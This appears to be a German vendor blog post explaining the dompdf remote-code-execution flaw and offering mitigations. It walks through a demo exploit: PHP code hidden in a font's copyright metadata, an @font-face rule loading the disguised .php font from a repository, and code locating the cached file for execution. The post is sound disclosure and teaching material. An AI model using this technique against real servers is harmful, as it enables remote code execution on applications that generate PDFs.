Sicherheitswarnung zu dompdf: RCE-Schwachstelle in beliebter PHP-PDF-Bibliothek entdeckt

Kürzlich veröffentlichten Forscher von Positive Security ihre Erkenntnisse zu einer schwerwiegenden Schwachstelle zur Remote-Code-Ausführung (RCE) in dompdf, einer beliebten Bibliothek zur PDF-Erstellung. In ihrem Bericht beschrieben sie, wie Code in eine Anwendung geladen und während der Erstellung einer PDF-Datei aus der Ferne ausgeführt werden kann.

Dompdf wird im PHP-Ökosystem recht häufig eingesetzt und kommt in mehr als 59.000 Open-Source-Plattformen und -Projekten zum Einsatz. Allein die PHP-Composer-Seite von dompdf verzeichnet seit der ersten Veröffentlichung im PHP-Paketmanager im Jahr 2014 fast 50 Millionen Installationen.

Zum Zeitpunkt der Veröffentlichung gibt es noch keine Fehlerbehebung für diese Schwachstelle. Eine mögliche Lösung wäre, das Laden benutzerdefinierter Schriftarten in den PDF-Erstellungsprozess zu unterbinden oder den Schreibzugriff auf den Schriftarten-Cache-Ordner einzuschränken. Je nach verwendeten Bibliotheken und benötigter Anwendungsfunktionalität ist es auch eine gute Option, den Zugriff auf den Composer-Installationspfad zu beschränken.

Bei dompdf-Versionen => 0.8.6 lässt sich die Einstellung $isRemoteEnabled deaktivieren, um das Laden benutzerdefinierter Schriftarten über CSS-Regeln mit font-face zu verhindern. Beachten Sie jedoch, dass dies zu Inkompatibilitäten führen kann. Außerdem wird diese Einstellung in Versionen <0.8.5 nicht verwendet, sodass sich diese Schwachstelle damit nicht beheben lässt: $isRemoteEnabled.

In diesem Blogbeitrag sehen wir uns an, wie die Schwachstelle funktioniert. Um Code und Schwachstellen bis ins Detail wirklich zu verstehen, hilft es mir, die Dinge praktisch auszuprobieren. Deshalb untersuchen wir diese Schwachstelle in diesem Beitrag anhand einer funktionierenden Demo mit der Anwendung php-goof aus einem Snyk-GitHub-Repository.

PDF-Bibliotheken

Die PDF-Erstellung in Anwendungen gehört zu meinen am wenigsten beliebten Aufgaben als Entwickler. Es ist ein ziemlich langwieriger, wiederholender Prozess: Code ändern, generieren, Code ändern, generieren und so weiter, bis Formatierung und Layout der erstellten PDF-Datei stimmen.

HTML in PDF umzuwandeln, ist jedoch unglaublich nützlich – vor allem, wenn man bedenkt, wie oft Anwendungen PDFs erstellen müssen. Sie nutzen solche Funktionen fast täglich, etwa auf E-Commerce-Websites oder auf Websites mit nutzerbezogenen Transaktionsdaten, für die ein Beleg erstellt werden muss, den Nutzer speichern oder ausdrucken können.

Für die meisten von uns beschleunigt eine Bibliothek für solche Funktionen die Anwendungsentwicklung. Bibliotheken wie dompdf ermöglichen es uns als Entwicklern, Routinefunktionen zu implementieren und uns anschließend komplexeren Aufgaben zu widmen.

Die dompdf-Schwachstelle praktisch untersuchen

Wer sich die ursprünglichen Sicherheitsberichte ansieht, erfährt mehr darüber, was in der Bibliothek vor sich geht und wie sie ausgenutzt werden konnte.

Die dompdf-Bibliothek nimmt im Wesentlichen gewöhnliches HTML und gibt es als formatiertes PDF aus.

1// reference the Dompdf namespace
2use Dompdf\Dompdf;
3
4// instantiate and use the dompdf class
5$dompdf = new Dompdf();
6$dompdf->loadHtml('<html><body>hello world</body></html>');
7
8// (Optional) Setup the paper size and orientation
9$dompdf->setPaper('A4', 'landscape');
10
11// Render the HTML as PDF
12$dompdf->render();
13
14// Output the generated PDF to Browser
15$dompdf->stream();

Sie bietet eine recht einfache und benutzerfreundliche Funktionalität und erspart damit eine ansonsten sehr monotone Aufgabe für eine häufig benötigte Funktion. Besonders praktisch daran ist, dass die PDF-Ausgabe mit einfachen HTML-Tags formatiert wird.

HTML kann auch Formatierungen enthalten. Diese können entweder direkt im <html>-Tag stehen oder über ein Stylesheet eingebunden werden. In einem Stylesheet können Sie beispielsweise eine font-family laden und einen Link zu einer Schriftartdatei einfügen.

1@font-face {
2    Font-family:'font name';
3    src:url('https://link to a font file’');
4    font-weight:'normal';
5    font-style:'normal';
6  }

Hier wird es langsam interessant.

Die dompdf-Bibliothek lädt nicht nur ein externes Stylesheet über HTML, sondern speichert auch die Schriftartdatei in einem lokalen Cache, legt sie in einem Schriftartenverzeichnis auf dem Server ab und verweist innerhalb des dompdf-Frameworks auf die font-family und den Speicherort.

Im nächsten Schritt des Exploits muss PHP-Code in eine Schriftartdatei eingebettet werden, die die dompdf-Validierung besteht und auf dem Server gespeichert wird, den PHP-Code aber trotzdem ausführen kann. Das mag schwierig klingen. Die ursprünglichen Forscher fanden jedoch heraus, dass die Validierung in der Bibliothek nur den Dateityp prüft, nicht den Inhalt der Datei.

In der Demo-App php-goof können Sie sich ansehen, wie das funktioniert. Dazu öffnen Sie die benutzerdefinierte Schriftartdatei gotcha-normal.otf. Größtenteils handelt es sich tatsächlich um eine reguläre Schriftartdatei mit völlig normalen Schriftsätzen. Im Metadatenbereich der Datei befindet sich jedoch PHP-Code, der auf dem Zielanwendungsserver ausgeführt werden soll — <php? phpinfo(); ?> — im Copyright-Metadatenfeld … Ja, so einfach ist das!

Öffnen Sie dann die Schriftartdatei in einem Code-Editor und kopieren Sie den Inhalt in eine .php-Datei oder benennen Sie die Datei einfach um. Das ist wichtig, weil dompdf die Schriftart-Header in der Datei prüft und sie als .php-Datei im Cache speichert, sodass sie als ausführbare PHP-Datei verwendet werden kann.

Verweisen Sie als Nächstes im CSS-Stylesheet über font-family auf die neu erstellte gefälschte Schriftartdatei. In php-goof geschieht das direkt aus dem php-goof-Repository.

1@font-face {
2    font-family:'gotcha';
3    src:url('https://github.com/snyk-labs/php-goof/blob/main/exploits/gotcha_font.php?raw=true');
4    font-weight:'normal';
5    font-style:'normal';
6  }

Hinweis: Verwenden Sie hier unbedingt denselben Namen wie in der Schriftartdatei für die Bezeichnung von font-family, sonst funktioniert es in dompdf nicht.

Jetzt muss nur noch das Stylesheet in das HTML eingefügt werden, das für die PDF-Ausgabe verwendet wird. Dadurch speichert dompdf die Schriftart auf dem Server, wo sie dann aus der Ferne ausgeführt werden kann. Das ist etwas knifflig, weil der Dateiname gehasht wird und sich das Schriftartenverzeichnis an einem anderen Speicherort befinden kann.

In php-goof wird dieser Schritt durch die Verwendung des dompdf-Frameworks vereinfacht, mit dem Speicherort und Name der Schriftartdatei ermittelt werden. Mit $dompdf->getFontMetrics()->getFont(“gotcha”, “normal”) wird geprüft, ob die Schriftart im dompdf-Schriftarten-Cache erkannt wurde.

1if($font = $dompdf->getFontMetrics()->getFont("gotcha", "normal")){  
2        $html .= "<a href='http://".$_SERVER['SERVER_NAME'].":".$_SERVER['SERVER_PORT']."/vendor/dompdf/dompdf/lib/fonts/".basename($font).".php'>Gotcha hack</a>"; 
3    }

Sobald die gotcha-Schriftartdatei im Framework verfügbar ist, wird ihr Pfad als Link in der generierten PDF-Datei ausgegeben. Hier sehen Sie einige Screenshots der Schwachstelle in der goof-App:

Bleiben Sie sicher

Ein großes Lob an das Team von Positive Security: Es hat seine Erkenntnisse nicht nur sehr offen geteilt, sondern auch versucht, die Verantwortlichen von dompdf darauf aufmerksam zu machen.

Denken Sie immer daran, Ihre Anwendungs-Codebasis zu scannen, um solche unbemerkten Probleme aufzuspüren. Snyk Code hilft Ihnen dabei, Schwachstellen in Frameworks und Funktionen zu erkennen und die nötige Sorgfalt walten zu lassen, um Endnutzer und ihre Daten zu schützen.

Weitere Ressourcen

• 5 Möglichkeiten, PHP-Code-Injection zu verhindern

• PHP-Composer-Schwachstellen mit Snyk testen

• PHP-Sicherheit in Snyk Code jetzt allgemein verfügbar